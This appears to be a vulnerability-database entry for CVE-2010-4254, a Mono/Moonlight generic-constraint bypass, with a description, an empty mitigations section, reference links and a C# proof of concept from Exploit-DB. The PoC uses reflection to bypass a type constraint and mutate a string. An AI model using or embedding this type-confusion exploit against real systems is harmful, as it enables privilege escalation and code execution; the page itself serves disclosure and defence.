CVE-2010-4254
Description
Mono, when Moonlight before 2.3.0.1 or 2.99.x before 2.99.0.10 is used, does not properly validate arguments to generic methods, which allows remote attackers to bypass generic constraints, and possibly execute arbitrary code, via a crafted method call.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mono/Moonlight Generic Type Argument - Privilege Escalation
Sources: https://www.chrishowie.com/2010/11/24/mutable-strings-in-mono/
https://www.securityfocus.com/bid/45051/info
Mono and Moonlight is prone to a local privilege-escalation vulnerability.
Local attackers can exploit this issue to execute arbitrary code with elevated privileges. Successful exploits will compromise the affected application and possibly the underlying computer.
PoC:
using System;
using System.Reflection;
public class FakeString {
public int length;
public char start_char;
}
public class TestCase {
private static FakeString UnsafeConversion<T>(T thing)
where T : FakeString
{
return thing;
}
public static void Main() {
var a = "foo";
var b = MakeMutable(a);
Console.WriteLine(a);
b.start_char = 'b';
Console.WriteLine(a);
}
private static FakeString MakeMutable(string s)
{
var m = typeof(TestCase).GetMethod("UnsafeConversion", BindingFlags.NonPublic | BindingFlags.Static);
var m2 = m.MakeGenericMethod(typeof(string));
var d = (Func<string, FakeString>)Delegate.CreateDelegate(typeof(Func<string, FakeString>), null, m2);
return d(s);
}
}
References
- http://lists.opensuse.org/opensuse-security-announce/2010-12/msg00006.html
- http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00003.html
- http://secunia.com/advisories/42373
- http://secunia.com/advisories/42877
- http://www.exploit-db.com/exploits/15974
- http://www.mono-project.com/Vulnerabilities#Moonlight_Generic_Constraints_Bypass_Vulnerability
- http://www.securityfocus.com/bid/45051
- http://www.vupen.com/english/advisories/2011/0076
- https://bugzilla.novell.com/show_bug.cgi?id=654136
- https://bugzilla.novell.com/show_bug.cgi?id=655847
- https://github.com/mono/mono/commit/4905ef1130feb26c3150b28b97e4a96752e0d399
- https://github.com/mono/mono/commit/65292a69c837b8a5f7a392d34db63de592153358
- https://github.com/mono/mono/commit/cf1ec146f7c6acdc6697032b3aaafc68ffacdcac
- http://lists.opensuse.org/opensuse-security-announce/2010-12/msg00006.html
- http://lists.opensuse.org/opensuse-security-announce/2011-01/msg00003.html
- http://secunia.com/advisories/42373
- http://secunia.com/advisories/42877
- http://www.exploit-db.com/exploits/15974
- http://www.mono-project.com/Vulnerabilities#Moonlight_Generic_Constraints_Bypass_Vulnerability
- http://www.securityfocus.com/bid/45051
- http://www.vupen.com/english/advisories/2011/0076
- https://bugzilla.novell.com/show_bug.cgi?id=654136
- https://bugzilla.novell.com/show_bug.cgi?id=655847
- https://github.com/mono/mono/commit/4905ef1130feb26c3150b28b97e4a96752e0d399
- https://github.com/mono/mono/commit/65292a69c837b8a5f7a392d34db63de592153358
CWEs
CWE-20
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.